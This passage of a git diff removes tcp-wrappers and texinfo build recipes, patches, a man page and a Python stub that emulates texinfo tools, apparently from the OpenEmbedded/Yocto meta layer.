4+++ tcp-wrappers-7.6-ipv6.1/safe_finger.c
5@@ -26,21 +26,24 @@
6 #include <stdio.h>
7 #include <ctype.h>
8 #include <pwd.h>
9+#include <syslog.h>
10
11 extern void exit();
12
13 /* Local stuff */
14
15-char path[] = "PATH=/bin:/usr/bin:/usr/ucb:/usr/bsd:/etc:/usr/etc:/usr/sbin";
16+char path[] = "PATH=/bin:/usr/bin:/sbin:/usr/sbin";
17
18 #define TIME_LIMIT 60 /* Do not keep listinging forever */
19 #define INPUT_LENGTH 100000 /* Do not keep listinging forever */
20 #define LINE_LENGTH 128 /* Editors can choke on long lines */
21 #define FINGER_PROGRAM "finger" /* Most, if not all, UNIX systems */
22 #define UNPRIV_NAME "nobody" /* Preferred privilege level */
23-#define UNPRIV_UGID 32767 /* Default uid and gid */
24+#define UNPRIV_UGID 65534 /* Default uid and gid */
25
26 int finger_pid;
27+int allow_severity = SEVERITY;
28+int deny_severity = LOG_WARNING;
29
30 void cleanup(sig)
31 int sig;
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/sig_fix.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/sig_fix.patch
deleted file mode 100644
index 843063fd7c..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/sig_fix.patch
+++ /dev/null
@@ -1,36 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3* Mon Feb 10 2003 Harald Hoyer <harald@redhat.de> 7.6-29
4- added security patch tcp_wrappers-7.6-sig.patch
5
6--- tcp_wrappers_7.6/hosts_access.c.sig 2003-02-10 16:18:31.000000000 +0100
7+++ tcp_wrappers_7.6/hosts_access.c 2003-02-10 16:50:38.000000000 +0100
8@@ -66,6 +66,7 @@
9
10 #define YES 1
11 #define NO 0
12+#define ERR -1
13
14 /*
15 * These variables are globally visible so that they can be redirected in
16@@ -129,9 +129,9 @@
17 return (verdict == AC_PERMIT);
18 if (table_match(hosts_allow_table, request))
19 return (YES);
20- if (table_match(hosts_deny_table, request))
21- return (NO);
22- return (YES);
23+ if (table_match(hosts_deny_table, request) == NO)
24+ return (YES);
25+ return (NO);
26 }
27
28 /* table_match - match table entries with (daemon, client) pair */
29@@ -175,6 +175,7 @@
30 (void) fclose(fp);
31 } else if (errno != ENOENT) {
32 tcpd_warn("cannot open %s: %m", table);
33+ match = ERR;
34 }
35 if (match) {
36 if (hosts_access_verbose > 1)
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/siglongjmp.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/siglongjmp.patch
deleted file mode 100644
index d4a1146594..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/siglongjmp.patch
+++ /dev/null
@@ -1,32 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruNp tcp_wrappers_7.6.orig/rfc931.c tcp_wrappers_7.6/rfc931.c
4--- tcp_wrappers_7.6.orig/rfc931.c 2004-08-29 18:42:25.000000000 +0200
5+++ tcp_wrappers_7.6/rfc931.c 2004-08-29 18:41:04.000000000 +0200
6@@ -33,7 +33,7 @@ static char sccsid[] = "@(#) rfc931.c 1.
7
8 int rfc931_timeout = RFC931_TIMEOUT;/* Global so it can be changed */
9
10-static jmp_buf timebuf;
11+static sigjmp_buf timebuf;
12
13 /* fsocket - open stdio stream on top of socket */
14
15@@ -62,7 +62,7 @@ int protocol;
16 static void timeout(sig)
17 int sig;
18 {
19- longjmp(timebuf, sig);
20+ siglongjmp(timebuf, sig);
21 }
22
23 /* rfc931 - return remote user name, given socket structures */
24@@ -135,7 +135,7 @@ char *dest;
25 * Set up a timer so we won't get stuck while waiting for the server.
26 */
27
28- if (setjmp(timebuf) == 0) {
29+ if (sigsetjmp(timebuf, 0) == 0) {
30 /* Save SIGALRM timer and handler. Sudheer Abdul-Salam, SUN. */
31 saved_timeout = alarm(0);
32 nact.sa_handler = timeout;
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
deleted file mode 100644
index fb64f93f1d..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
+++ /dev/null
@@ -1,58 +0,0 @@
1commit 88b6984ef0bf3b703c1c851092662b95e91db1ff
2Author: farrah rashid <farrah.rashid@windriver.com>
3Date: Tue Feb 12 09:53:50 2013 -0500
4
5 tcp-wrappers Support for building with glibc
6
7 Added support for socklen_t type to len argument passed to socket related
8 calls. This fixes a bug that causes tcp wrappers to fail when using sshd.
9
10Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
11Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
12
13diff --git a/fix_options.c b/fix_options.c
14index 7473adf..fe2b442 100644
15--- a/fix_options.c
16+++ b/fix_options.c
17@@ -38,7 +38,12 @@ struct request_info *request;
18 #ifdef IP_OPTIONS
19 unsigned char optbuf[BUFFER_SIZE / 3], *cp;
20 char lbuf[BUFFER_SIZE], *lp;
21- int optsize = sizeof(optbuf), ipproto;
22+#ifdef __GLIBC__
23+ socklen_t optsize = sizeof(optbuf);
24+#else
25+ int optsize = sizeof(optbuf);
26+#endif
27+ int ipproto;
28 struct protoent *ip;
29 int fd = request->fd;
30 unsigned int opt;
31diff --git a/socket.c b/socket.c
32index 4b2c575..a0d2987 100644
33--- a/socket.c
34+++ b/socket.c
35@@ -95,7 +95,11 @@ struct request_info *request;
36 static struct sockaddr_in client;
37 static struct sockaddr_in server;
38 #endif
39+#ifdef __GLIBC__
40+ socklen_t len;
41+#else
42 int len;
43+#endif
44 char buf[BUFSIZ];
45 int fd = request->fd;
46
47@@ -426,7 +430,11 @@ int fd;
48 #else
49 struct sockaddr_in sin;
50 #endif
51+#ifdef __GLIBC__
52+ socklen_t size = sizeof(sin);
53+#else
54 int size = sizeof(sin);
55+#endif
56
57 /*
58 * Eat up the not-yet received datagram. Some systems insist on a
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/tcpdchk_libwrapped.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/tcpdchk_libwrapped.patch
deleted file mode 100644
index 2e3b1719fd..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/tcpdchk_libwrapped.patch
+++ /dev/null
@@ -1,41 +0,0 @@
1Upstream-Status: Inactive-Upstream [current release is from 1997; no vcs anywhere]
2
3diff -ruN tcp_wrappers_7.6.orig/tcpdchk.c tcp_wrappers_7.6/tcpdchk.c
4--- tcp_wrappers_7.6.orig/tcpdchk.c 2003-08-21 02:50:37.000000000 +0200
5+++ tcp_wrappers_7.6/tcpdchk.c 2003-08-21 02:50:33.000000000 +0200
6@@ -53,6 +53,24 @@
7 #include "inetcf.h"
8 #include "scaffold.h"
9
10+/* list of programs which are known to be linked with libwrap in debian */
11+static const char *const libwrap_programs[] = {
12+ "portmap", "mountd", "statd", "ugidd",
13+ "redir", "rlinetd",
14+ "sshd",
15+ "atftpd",
16+ "diald",
17+ "esound",
18+ "gdm", "gnome-session",
19+ "icecast", "icecast_admin", "icecast_client", "icecast_source",
20+ "mysqld",
21+ "ntop",
22+ "pptpd",
23+ "rquotad",
24+ "sendmail", "smail",
25+ NULL
26+};
27+
28 /*
29 * Stolen from hosts_access.c...
30 */
31@@ -147,8 +165,8 @@
32 /*
33 * These are not run from inetd but may have built-in access control.
34 */
35- inet_set("portmap", WR_NOT);
36- inet_set("rpcbind", WR_NOT);
37+ for (c = 0; libwrap_programs[c]; c++)
38+ inet_set(libwrap_programs[c], WR_YES);
39
40 /*
41 * Check accessibility of access control files.
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/try-from.8 b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/try-from.8
deleted file mode 100644
index 9c8f30543e..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/try-from.8
+++ /dev/null
@@ -1,28 +0,0 @@
1.TH TRY-FROM 8 "21th June 1997" Linux "Linux Programmer's Manual"
2.SH NAME
3try-from \- test program for the tcp_wrapper
4.SH SYNOPSIS
5.B try-from
6.SH DESCRIPTION
7The
8.B try-from
9command can be called via a remote shell command to find out
10if the hostname and address are properly recognized
11by the
12.B tcp_wrapper
13library, if username lookup works, and (SysV only) if the TLI
14on top of IP heuristics work. Diagnostics are reported through
15.BR syslog (3)
16and redirected to stderr.
17
18Example:
19
20rsh host /some/where/try-from
21
22.SH SEE ALSO
23.BR hosts_access (5),
24.BR hosts_options (5),
25.BR tcpd (8)
26.SH AUTHOR
27Wietse Venema, Eindhoven University of Technology, The Netherlands.
28
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
deleted file mode 100644
index da3ff90891..0000000000
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
+++ /dev/null
@@ -1,135 +0,0 @@
1SUMMARY = "Security tool that is a wrapper for TCP daemons"
2HOMEPAGE = "http://www.softpanorama.org/Net/Network_security/TCP_wrappers/"
3DESCRIPTION = "Tools for monitoring and filtering incoming requests for tcp \
4 services."
5SECTION = "console/network"
6
7LICENSE = "BSD-1-Clause"
8LIC_FILES_CHKSUM = "file://DISCLAIMER;md5=071bd69cb78b18888ea5e3da5c3127fa"
9
10PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc"
11FILES:libwrap = "${base_libdir}/lib*${SOLIBS}"
12FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5"
13FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
14FILES:libwrap-staticdev = "${libdir}/lib*.a"
15FILES:${PN} = "${sbindir}"
16FILES:${PN}-doc = "${mandir}/man8"
17
18SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
19 file://00_man_quoting.diff \
20 file://01_man_portability.patch \
21 file://05_wildcard_matching.patch \
22 file://06_fix_gethostbyname.patch \
23 file://10_usagi-ipv6.patch \
24 file://11_tcpd_blacklist.patch \
25 file://11_usagi_fix.patch \
26 file://12_makefile_config.patch \
27 file://13_shlib_weaksym.patch \
28 file://14_cidr_support.patch \
29 file://15_match_clarify.patch \
30 file://expand_remote_port.patch \
31 file://have_strerror.patch \
32 file://man_fromhost.patch \
33 file://restore_sigalarm.patch \
34 file://rfc931.diff \
35 file://safe_finger.patch \
36 file://sig_fix.patch \
37 file://siglongjmp.patch \
38 file://socklen_t.patch \
39 file://tcpdchk_libwrapped.patch \
40 file://ldflags.patch \
41 file://rename_strings_variable.patch \
42 file://try-from.8 \
43 file://safe_finger.8 \
44 file://makefile-fix-parallel.patch \
45 file://musl-decls.patch \
46 file://0001-Fix-build-with-clang.patch \
47 file://fix_warnings.patch \
48 file://fix_warnings2.patch \
49 file://0001-Remove-fgets-extern-declaration.patch \
50 file://0001-Fix-implicit-function-declaration-warnings.patch \
51 "
52
53SRC_URI[sha256sum] = "9543d7adedf78a6de0b221ccbbd1952e08b5138717f4ade814039bb489a4315d"
54
55S = "${UNPACKDIR}/tcp_wrappers_${PV}"
56
57CFLAGS += "-std=gnu17"
58
59EXTRA_OEMAKE = "'CC=${CC}' \
60 'AR=${AR}' \
61 'RANLIB=${RANLIB}' \
62 'REAL_DAEMON_DIR=${sbindir}' \
63 'STYLE=-DPROCESS_OPTIONS' \
64 'FACILITY=LOG_DAEMON' \
65 'SEVERITY=LOG_INFO' \
66 'BUGS=' \
67 'VSYSLOG=' \
68 'RFC931_TIMEOUT=10' \
69 'ACCESS=-DHOSTS_ACCESS' \
70 'KILL_OPT=-DKILL_IP_OPTIONS' \
71 'UMASK=-DDAEMON_UMASK=022' \
72 'NETGROUP=${EXTRA_OEMAKE_NETGROUP}' \
73 'ARFLAGS=rv' \
74 'AUX_OBJ=weak_symbols.o' \
75 'TLI=' \
76 'COPTS=' \
77 'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'"
78
79EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN"
80EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN"
81
82EXTRA_OEMAKE:append:libc-musl = " 'LIBS='"
83
84do_compile () {
85 oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \
86 all
87}
88
89BINS = "safe_finger tcpd tcpdchk try-from tcpdmatch"
90MANS3 = "hosts_access"
91MANS5 = "hosts_options"
92MANS8 = "tcpd tcpdchk tcpdmatch"
93do_install () {
94 oe_libinstall -a libwrap ${D}${libdir}
95 oe_libinstall -C shared -so libwrap ${D}${base_libdir}
96
97 if [ "${libdir}" != "${base_libdir}" ] ; then
98 rel_lib_prefix=`echo ${libdir} | sed 's,\(^/\|\)[^/][^/]*,..,g'`
99 libname=`readlink ${D}${base_libdir}/libwrap.so | xargs basename`
100 ln -s ${rel_lib_prefix}${base_libdir}/${libname} ${D}${libdir}/libwrap.so
101 rm -f ${D}${base_libdir}/libwrap.so
102 fi
103
104 install -d ${D}${sbindir}
105 for b in ${BINS}; do
106 install -m 0755 $b ${D}${sbindir}/ || exit 1
107 done
108
109 install -d ${D}${mandir}/man3
110 for m in ${MANS3}; do
111 install -m 0644 $m.3 ${D}${mandir}/man3/ || exit 1
112 done
113
114 install -d ${D}${mandir}/man5
115 for m in ${MANS5}; do
116 install -m 0644 $m.5 ${D}${mandir}/man5/ || exit 1
117 done
118
119 install -d ${D}${mandir}/man8
120 for m in ${MANS8}; do
121 install -m 0644 $m.8 ${D}${mandir}/man8/ || exit 1
122 done
123
124 install -m 0644 ${UNPACKDIR}/try-from.8 ${D}${mandir}/man8/
125 install -m 0644 ${UNPACKDIR}/safe_finger.8 ${D}${mandir}/man8/
126
127 install -d ${D}${includedir}
128 install -m 0644 tcpd.h ${D}${includedir}/
129
130 install -d ${D}${sysconfdir}
131 touch ${D}${sysconfdir}/hosts.allow
132 touch ${D}${sysconfdir}/hosts.deny
133}
134
135FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny"
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
deleted file mode 100644
index 9773d134cf..0000000000
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
+++ /dev/null
@@ -1,33 +0,0 @@
1SUMMARY = "Fake version of the texinfo utility suite"
2SECTION = "console/utils"
3DESCRIPTION = "${SUMMARY}"
4LICENSE = "MIT"
5LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb"
6DEPENDS = ""
7PV = "1.0"
8
9SRC_URI = "file://template.py file://COPYING"
10
11S = "${UNPACKDIR}"
12
13inherit native
14
15#
16# To avoid texinfo-dummy-native and texinfo-native conflicting we install to base_bindir
17# which is later in PATH than bindir where texinfo-native installs
18#
19do_install_name() {
20 FILENAME="${D}${base_bindir}/$1"
21 # Using ln causes problems with rm_work
22 cp -T "${S}/template.py" "$FILENAME"
23 chmod +x $FILENAME
24}
25
26do_install() {
27 mkdir -p "${D}${base_bindir}"
28 for i in makeinfo pod2texi texi2dvi pdftexi2dvi texindex texi2pdf \
29 txixml2texi texi2any install-info ginstall-info \
30 update-info-dir; do
31 do_install_name $i
32 done
33}
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/COPYING b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/COPYING
deleted file mode 100644
index 531cbe723d..0000000000
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/COPYING
+++ /dev/null
@@ -1,19 +0,0 @@
1Copyright (c) 2014 Intel Corp.
2
3Permission is hereby granted, free of charge, to any person obtaining a copy
4of this software and associated documentation files (the "Software"), to deal
5in the Software without restriction, including without limitation the rights
6to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7copies of the Software, and to permit persons to whom the Software is
8furnished to do so, subject to the following conditions:
9
10The above copyright notice and this permission notice shall be included in
11all copies or substantial portions of the Software.
12
13THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
19THE SOFTWARE.
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py
deleted file mode 100644
index 4de5bb8f41..0000000000
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py
+++ /dev/null
@@ -1,100 +0,0 @@
1#! /usr/bin/env python3
2
3# template.py (and other filenames)
4# By Max Eliaser (max.eliaser@intel.com)
5
6# Copyright (c) 2014 Intel Corp.
7
8# Permission is hereby granted, free of charge, to any person obtaining a copy
9# of this software and associated documentation files (the "Software"), to deal
10# in the Software without restriction, including without limitation the rights
11# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
12# copies of the Software, and to permit persons to whom the Software is
13# furnished to do so, subject to the following conditions:
14
15# The above copyright notice and this permission notice shall be included in
16# all copies or substantial portions of the Software.
17
18# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
21# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
23# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
24# THE SOFTWARE.
25
26# This program acts like a dummy version of the texinfo utilities, creating
27# the right output files but leaving them blank. It will parse out the name
28# of the executable from argv[0] and emulate the corresponding program, so
29# multiple copies of this script will exist under different names.
30
31import sys, argparse
32
33this_binary = sys.argv[0].split("/")[-1]
34
35# To be outputted if functionality that hasn't been stubbed yet is invoked.
36stub_msg = """
37This stand-in version of %s is not yet fully capable of emulating
38the real version from the GNU texinfo suite. If you see this message, file a
39bug report with details on the recipe that failed.
40Invoked as %s
41""" % (this_binary, sys.argv)
42
43# Autotools setups query the version, so this is actually necessary. Some of
44# them (lookin' at you, glibc) actually look for the substring "GNU texinfo,"
45# so we put that substring in there without actually telling a lie.
46version_str = """%s (fake texinfo, emulating GNU texinfo) 5.2
47
48Super amazing version which is totally not fake in any way whatsoever.
49Copyright (C) 2014 Intel Corp. Distributed under the terms of the MIT
50license.
51""" % this_binary
52
53simple_binaries = "pod2texi texi2dvi pdftexi2dvi texindex texi2pdf \
54 txixml2texi install-info ginstall-info \
55 update-info-dir".split()
56
57# These utilities use a slightly different set of options and flags.
58complex_binaries = "makeinfo texi2any".split()
59
60valid_binaries = simple_binaries + complex_binaries
61
62assert this_binary in valid_binaries, \
63 this_binary + " is not one of " + ', '.join(valid_binaries)
64
65# For debugging
66log_interceptions = False
67if log_interceptions:
68 with open("/tmp/intercepted_" + this_binary, "a") as f:
69 f.write(' '.join([this_binary] + sys.argv[1:]) + '\n')
70
71# Look through the options and flags, and if necessary, touch any output
72# files.
73p = argparse.ArgumentParser()
74if this_binary in complex_binaries:
75 p.add_argument('-E', '--macro-expand', metavar='FILE')
76p.add_argument('-o', '--output', metavar='DEST')
77p.add_argument('--version', action='store_true')
78
79args, unknown = p.parse_known_args()
80
81if args.version:
82 print(version_str)
83 sys.exit(0)
84
85# Check for functionality that isn't implemented yet.
86assert not getattr(args, 'macro_expand', None), \
87 "-E/--macro-expand option not yet supported" + stub_msg
88
89# Check if -o or --output is specified.
90if args.output:
91 with open(args.output, 'w'):
92 pass
93 sys.exit(0)
94
95# The -o/--output option overrides the default. For makeinfo and texi2any,
96# that default is to look for a @setfilename command in the input file.
97# Otherwise, printing nothing to stdout and then exiting should suffice.
98assert this_binary in simple_binaries, \
99 "Don't know how to get default output file name from input file!" + \
100 stub_msg
diff --git a/meta/recipes-extended/texinfo/texinfo/0001-Makefile.am-do-not-build-manpages.patch b/meta/recipes-extended/texinfo/texinfo/0001-Makefile.am-do-not-build-manpages.patch
deleted file mode 100644
index cf0529db98..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/0001-Makefile.am-do-not-build-manpages.patch
+++ /dev/null
@@ -1,29 +0,0 @@
1From f7572109b64db9ea5aa44078eaad25ad2a2283f8 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Thu, 28 Nov 2024 13:16:15 +0100
4Subject: [PATCH] Makefile.am: do not build manpages
5
6This requires help2man.
7
8Upstream-Status: Inappropriate [oe-core doesn't provide help2man]
9Signed-off-by: Alexander Kanavin <alex@linutronix.de>
10---
11 Makefile.am | 2 +-
12 1 file changed, 1 insertion(+), 1 deletion(-)
13
14diff --git a/Makefile.am b/Makefile.am
15index f733797..1013fcf 100644
16--- a/Makefile.am
17+++ b/Makefile.am
18@@ -76,7 +76,7 @@
19 endif
20 endif
21 SUBDIRS += install-info po po_document tp Pod-Simple-Texinfo \
22- texindex util doc man
23+ texindex util doc
24 SUBDIRS += js
25 endif
26
27--
282.39.5
29
diff --git a/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
deleted file mode 100644
index 8ddf50261d..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
+++ /dev/null
@@ -1,51 +0,0 @@
1From db2c41668d62c234fa69c71db18c162500dd403f Mon Sep 17 00:00:00 2001
2From: Joshua Lock <josh@linux.intel.com>
3Date: Fri, 16 Sep 2011 15:35:48 -0700
4Subject: [PATCH] texinfo: several changes to build without zlib and ncurses
5
6We already DEPEND on the native texinfo being present before building so
7there isn't any need to try and build the required native texinfo binaries
8before cross-compiling. This simplifies the recipe somewhat!
9
10Upstream-Status: Inappropriate oe specific
11
12Signed-off-by: Joshua Lock <josh@linux.intel.com>
13---
14 configure.ac | 24 +-----------------------
15 1 file changed, 1 insertion(+), 23 deletions(-)
16
17diff --git a/configure.ac b/configure.ac
18index 00626a3..5b725fe 100644
19--- a/configure.ac
20+++ b/configure.ac
21@@ -267,29 +267,7 @@ AC_CANONICAL_BUILD
22 # $native_tools is also added to SUBDIRS in the main Makefile.am,
23 # so that make compiles the native tools first.
24 #
25-if test "$cross_compiling" = no; then
26- native_tools=
27-else
28- native_tools=tools
29- test -d "$native_tools" || mkdir "$native_tools"
30- confdir=`(cd "$srcdir";pwd)`
31- # Make sure the secondary configure won't fail with
32- # "error: source directory already configured".
33- rm -f config.status
34- AC_MSG_NOTICE([[Doing configure of native tools (${build}).]])
35- cd "$native_tools" || exit 1
36- # Run secondary configure in alternate environment or
37- # it gets the wrong CC etc.
38- # env -i gives this build host configure a clean environment;
39- # consequently, we have to re-initialize $PATH.
40- env -i CC="$BUILD_CC" AR="$BUILD_AR" RANLIB="$BUILD_RANLIB" \
41- PATH="$PATH" \
42- tools_only=1 \
43- ${confdir}/configure --build=${build} --host=${build} \
44- --disable-rpath --disable-nls
45- cd .. || exit 1
46- AC_MSG_NOTICE([[Continuing with main configure (${host}).]])
47-fi
48+native_tools=
49 AC_SUBST(native_tools)
50 AM_CONDITIONAL(TOOLS_ONLY, [[test "x$tools_only" = x1]])
51
diff --git a/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
deleted file mode 100644
index 4985d30503..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
+++ /dev/null
@@ -1,25 +0,0 @@
1From 0131013100bf0baabfc0f9a44341e0d9d7cca794 Mon Sep 17 00:00:00 2001
2From: Saul Wold <sgw@linux.intel.com>
3Date: Mon, 29 Jul 2013 15:02:34 -0700
4Subject: [PATCH] texinfo: Update to 5.1
5
6Upstream-Status: Inappropriate [cross build specific]
7
8Signed-off-by: Saul Wold <sgw@linux.intel.com>
9---
10 info/Makefile.am | 2 +-
11 1 file changed, 1 insertion(+), 1 deletion(-)
12
13diff --git a/info/Makefile.am b/info/Makefile.am
14index 660d7f5..bed840a 100644
15--- a/info/Makefile.am
16+++ b/info/Makefile.am
17@@ -81,7 +81,7 @@ cmd_sources = $(srcdir)/session.c $(srcdir)/echo-area.c $(srcdir)/infodoc.c \
18 # more than once.
19 funs.h: makedoc$(EXEEXT) $(cmd_sources)
20 rm -f $(generated_sources)
21- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
22+ makedoc $(cmd_sources)
23
24 # The following hack is necessary to hint make before the automatic
25 # dependencies are built.
diff --git a/meta/recipes-extended/texinfo/texinfo_7.2.bb b/meta/recipes-extended/texinfo/texinfo_7.2.bb
deleted file mode 100644
index 784f67f65b..0000000000
--- a/meta/recipes-extended/texinfo/texinfo_7.2.bb
+++ /dev/null
@@ -1,90 +0,0 @@
1SUMMARY = "Documentation system for on-line information and printed output"
2DESCRIPTION = "Texinfo is a documentation system that can produce both \
3online information and printed output from a single source file. The \
4GNU Project uses the Texinfo file format for most of its documentation."
5HOMEPAGE = "http://www.gnu.org/software/texinfo/"
6SECTION = "console/utils"
7LICENSE = "GPL-3.0-or-later"
8LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
9
10PROVIDES:append:class-native = " texinfo-replacement-native"
11
12def compress_pkg(d):
13 if bb.data.inherits_class('compress_doc', d):
14 compress = d.getVar("DOC_COMPRESS")
15 if compress == "gz":
16 return "gzip"
17 elif compress == "bz2":
18 return "bzip2"
19 elif compress == "xz":
20 return "xz"
21 return ""
22
23RDEPENDS:info += "${@compress_pkg(d)}"
24
25DEPENDS = "zlib ncurses texinfo-replacement-native"
26DEPENDS:class-native = "zlib-native ncurses-native"
27
28TARGET_PATCH = "file://0003-texinfo-Update-to-5.1.patch"
29TARGET_PATCH:class-native = ""
30
31SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
32 file://0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch \
33 file://0001-Makefile.am-do-not-build-manpages.patch \
34 ${TARGET_PATCH} \
35 "
36
37SRC_URI[sha256sum] = "e86de7dfef6b352aa1bf647de3a6213d1567c70129eccbf8977706d9c91919c8"
38
39tex_texinfo = "texmf/tex/texinfo"
40
41inherit gettext autotools multilib_script
42
43MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
44
45EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
46CACHED_CONFIGUREVARS += "texinfo_cv_sys_iconv_converts_euc_cn=yes"
47
48do_configure:prepend () {
49 # autotools_do_configure updates po/Makefile.in.in, we also need
50 # update po_document.
51 cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
52}
53
54do_compile:prepend() {
55 if [ -d tools ];then
56 oe_runmake -C tools/gnulib/lib
57 fi
58}
59
60do_install:append() {
61 mkdir -p ${D}${datadir}/${tex_texinfo}
62 install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
63 sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
64 sed -i -e 's,${HOSTTOOLS_DIR},,' ${D}${bindir}/texindex
65}
66
67do_install:append:class-native() {
68 install -m 755 info/makedoc ${D}${bindir}
69}
70
71PACKAGES += "info info-doc"
72
73FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
74FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
75 ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
76 ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
77
78FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo ${datadir}/texi2any"
79RDEPENDS:${PN} = "perl"
80FILES:${PN}-doc = "${infodir}/texi* \
81 ${datadir}/${tex_texinfo} \
82 ${mandir}/man1 ${mandir}/man5"
83
84# Lie about providing the Locale::gettext_xs module. It is not actually built,
85# but the code will test for it and if not found use Locale::gettext_pp instead.
86# However, this causes a file dependency on perl(Locale::gettext_xs) to be
87# generated, which must be satisfied.
88RPROVIDES:${PN} += "perl(Locale::gettext_xs)"
89
90BBCLASSEXTEND = "native nativesdk"
